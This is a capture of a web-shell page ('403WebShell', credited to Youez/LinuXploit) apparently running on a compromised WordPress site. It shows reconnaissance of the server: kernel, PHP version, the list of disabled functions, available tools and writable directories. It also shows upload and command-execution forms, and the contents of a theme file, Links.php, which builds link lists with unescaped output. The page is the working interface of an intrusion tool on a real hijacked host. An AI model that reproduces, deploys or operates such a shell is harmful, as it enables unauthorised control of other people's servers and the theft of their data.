AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK Interactive Terminal

Command Executor

403WebShell
403Webshell
Server IP : dzynews.com  /  Your IP : 216.73.217.105
Web Server : nginx/1.30.3
System : Linux cloud-tdkldl-avd6 5.15.0-91-generic #101-Ubuntu SMP Tue Nov 14 13:30:08 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 8.2.31
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/dzynews.com/wp-content/themes/archive-document/Modules/Templates/Modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/dzynews.com/wp-content/themes/archive-document/Modules/Templates/Modules/Links.php
<?php namespace B2\Modules\Templates\Modules;

use B2\Modules\Common\Links as cLinks;

class Links{
    public function init($data,$i,$return = false){
        // var_dump($data);

        $data['link_count'] = $data['link_count'] ? (int)$data['link_count'] : 5;

        // var_dump($data);

        if(!isset($data['link_cat']) || $data['link_cat'] == ''){
            return;
        }

        $data['link_meta'] = isset($data['link_meta']) ? (array)$data['link_meta'] : [];

        $children_list = '';
        if(in_array('children',$data['link_meta'])){
            $childrens = cLinks::get_children_cat($data['link_cat'],3);

            if(!empty($childrens)){
                $children_list .= '<div class="child-link-cat">';
                foreach ($childrens as $key => $value) {
                    if(!isset($value->slug)) continue;
                    $children_list .= '<a target="_blank" class="cat-box b2-radius" href="'.cLinks::get_links_cat_url($value->slug).'">'.$value->name.'</a>';              
                }
                $children_list .= '</div>';
            }
        }

        $link_list = cLinks::get_links_data($data);

        if(empty($link_list)) return '';

        $more = '';
        if(in_array('more',$data['link_meta'])){

            $more_url = isset($data['module_more_url']) && $data['module_more_url'] ? $data['module_more_url'] : '';
            if( !$more_url ) $more_url = cLinks::get_links_cat_url($data['link_cat']);
            $more = '<div class="link-more"><a href="'.$more_url.'" target="_blank" class="cat-box b2-radius"><span>'.__('更多','b2').'</span>'.b2_get_icon('b2-arrow-right-s-line').'</a></div>';
        }

        $title = '';
        if(in_array('title',$data['link_meta'])){
            $title = '<div class="link-title"><div class="link-title-left"><h2 id="link-'.$data['link_cat'].'" class="cat-box b2-radius">'.($data['title'] ? $data['title'] : $link_list[0]['cat_name']).'</h2>'.$children_list.'</div>'.$more.'</div>';
        }

        if(is_single()){
            $title = '<div class="link-title"><div class="link-title-left"><h2 id="link-'.$data['link_cat'].'" class="cat-box b2-radius">'.__('相似站点','b2').'</h2></div>'.$more.'</div>';
        }

        $loadmore = '';
        if(in_array('loadmore',$data['link_meta'])){
            $paged = get_query_var('paged') ? get_query_var('paged') : 1;
            $loadmore = is_tax('link_cat') ? '<div class="link-more-button">'.b2_pagenav(array('pages'=>$link_list[0]['pages'],'paged'=>$paged)).'</div>' : '';
        }

        $icon = in_array('icon',$data['link_meta']);
        $desc = in_array('desc',$data['link_meta']);
        $user = in_array('user',$data['link_meta']);
        $like = in_array('like',$data['link_meta']);
        

        $html = '';
        foreach ($link_list as $k => $v) {
            $icon =  $icon ? '<img class="link-img b2-radius" src="'.$v['img'].'" />' : '';
            $desc = $desc ? '<p class="link-desc">'.$v['desc'].'</p>' : '';

            $user = $user ? '<span class="link-author fs12">'.($v['user']['link'] ? '<a target="_blank" href="'.$v['user']['link'].'">'.$v['user']['name'].'</a>' : '未名').'</span>' : '';

            $like = $like ? '<button class="link-up text" @click.stop="addRating(\''.$v['id'].'\')">'.b2_get_icon('b2-thumb-up-line').'<b>'.$v['link_rating'].'</b></button>' : '';

            $html .= '
                <li>              
                    <div class="link-in box b2-radius b2flex">
                        <a href="'.$v['url'].'" target="_blank" class="link-block" ref="nofollow"></a>
                        '.$icon.'
                        <div class="link-info">
                            <div class="link-top">
                                <a href="'.$v['url'].'" target="_blank" class="fd link-right" ref="nofollow">
                                    <h2>'.$v['name'].'</h2>
                                </a>
                            </div>
                            '.$desc.'
                            <div class="link-footer">
                                '.$user.$like.'
                            </div>
                        </div>
                    </div>
                </li>
            ';
        };

        return '
        <style>
        .link-box-'.$i.' .link-list li{
            width:'.(100/$data['link_count']).'%;
        }
        </style>
            <div class="link-box mg-b link-box-'.$i.' box b2-radius">
                '.$title.'
                <div class="link-list">
                    <ul>'.$html.'</ul>
                </div>
                '.$loadmore.'
            </div>
        ';
       
    }

    
}

Youez - 2016 - github.com/yon3zu
LinuXploit